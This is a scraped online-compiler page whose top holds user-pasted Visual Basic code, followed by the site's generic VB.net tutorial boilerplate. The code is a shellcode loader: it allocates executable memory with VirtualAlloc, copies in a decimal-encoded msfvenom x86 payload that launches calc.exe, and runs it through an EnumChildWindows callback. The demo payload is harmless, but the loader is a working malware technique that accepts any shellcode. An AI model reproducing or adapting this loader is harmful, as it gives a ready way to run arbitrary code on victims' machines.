Private Declare Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Declare Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal lpBuffer As String, ByVal dwSize As Long, ByRef lpNumberOfBytesWritten As Long) As Integer Private Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long Const MEM_COMMIT = &H1000 Const PAGE_EXECUTE_READWRITE = &H40 Sub Main() ShellCode() End Sub Private Sub ExecuteShellCode() Dim lpMemory As Long Dim sShellCode As String Dim lResult As Long sShellCode = ShellCode() lpMemory = VirtualAlloc(0&, Len(sShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE) lResult = WriteProcessMemory(-1&, lpMemory, sShellCode, Len(sShellCode), 0&) lResult = EnumChildWindows(0&, lpMemory, &O0) End Sub Private Function ParseBytes(strBytes) As String Dim aNumbers Dim sShellCode As String Dim iIter sShellCode = "" aNumbers = Split(strBytes) For iIter = LBound(aNumbers) To UBound(aNumbers) sShellCode = sShellCode + Chr(aNumbers(iIter)) Next ParseBytes = sShellCode End Function Private Function ShellCode1() As String Dim sShellCode As String ' x86 msfvenom windows/exec cmd="calc.exe" sShellCode = "" sShellCode = sShellCode + ParseBytes("252 232 130 0 0 0 96 137 229 49 192 100 139 80 48 139 82 12 139 82 20 139 114 40 15") sShellCode = sShellCode + ParseBytes("183 74 38 49 255 172 60 97 124 2 44 32 193 207 13 1 199 226 242 82 87 139 82 16 139") sShellCode = sShellCode + ParseBytes("74 60 139 76 17 120 227 72 1 209 81 139 89 32 1 211 139 73 24 227 58 73 139 52 139") sShellCode = sShellCode + ParseBytes("1 214 49 255 172 193 207 13 1 199 56 224 117 246 3 125 248 59 125 36 117 228 88 139") sShellCode = sShellCode + ParseBytes("88 36 1 211 102 139 12 75 139 88 28 1 211 139 4 139 1 208 137 68 36 36 91 91 97 89") sShellCode = sShellCode + ParseBytes("90 81 255 224 95 95 90 139 18 235 141 93 106 1 141 133 178 0 0 0 80 104 49 139 111") sShellCode = sShellCode + ParseBytes("135 255 213 187 240 181 162 86 104 166 149 189 157 255 213 60 6 124 10 128 251 224") sShellCode = sShellCode + ParseBytes("117 5 187 71 19 114 111 106 0 83 255 213 99 97 108 99 46 101 120 101 0") ShellCode1 = sShellCode End Function Private Function ShellCode() As String Dim sShellCode As String sShellCode = "" sShellCode = sShellCode + ShellCode1() ShellCode = sShellCode WScript.echo(ShellCode) End Function
Write, Run & Share VB.net code online using OneCompiler's VB.net online compiler for free. It's one of the robust, feature-rich online compilers for VB.net language, running on the latest version 16. Getting started with the OneCompiler's VB.net compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as VB.net
. OneCompiler also has reference programs, where you can look for the sample code to get started with.
OneCompiler's VB.net online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample VB.net program which takes name as input and prints hello message with your name.
Public Module Program
Public Sub Main(args() As string)
Dim name as String = Console.ReadLine() ' Reading input from STDIN
Console.WriteLine("Hello " & name) ' Writing output to STDOUT
End Sub
End Module
Visual Basic is a event driven programming language by Microsoft, first released in the year 1991.
Variable is a name given to the storage area in order to identify them in our programs.
Simple syntax of Variable declaration is as follows
Dim variableName [ As [ New ] dataType ] [ = initializer ]
variableName = value
If condition-expression Then
'code
End If
If(conditional-expression)Then
'code if the conditional-expression is true
Else
'code if the conditional-expression is false
End If
If(conditional-expression)Then
'code if the above conditional-expression is true
Else If(conditional-expression) Then
'code if the above conditional-expression is true
Else
'code if the above conditional-expression is false
End If
If(conditional-expression)Then
'code if the above conditional-expression is true
If(conditional-expression)Then
'code if the above conditional-expression is true
End If
End If
Select [ Case ] expression
[ Case expressionlist
'code ]
[ Case Else
'code ]
End Select
For counter [ As datatype ] = begin To end [ Step step ]
'code
[ Continue For ]
'code
[ Exit For ]
'code
Next [ counter ]
For Each element [ As datatype ] In group
'code
[ Continue For ]
'code
[ Exit For ]
'code
Next [ element ]
While conditional-expression
'Code
[ Continue While ]
'Code
[ Exit While ]
'Code
End While
Do { While | Until } conditional-expression
'Code
[ Continue Do ]
'Code
[ Exit Do ]
'Code
Loop
Do
'Code
[ Continue Do ]
'Code
[ Exit Do ]
'Code
Loop { While | Until } conditional-expression
Procedure is a sub-routine which contains set of statements. Usually Procedures are written when multiple calls are required to same set of statements which increases re-usuability and modularity.
Procedures are of two types.
Functions return a value when they are called.
[accessModifiers] Function functionName [(parameterList)] As returnType
'code
End Function
Sub-procedures are similar to functions but they don't return any value.
Sub ProcedureName (parameterList)
'Code
End Sub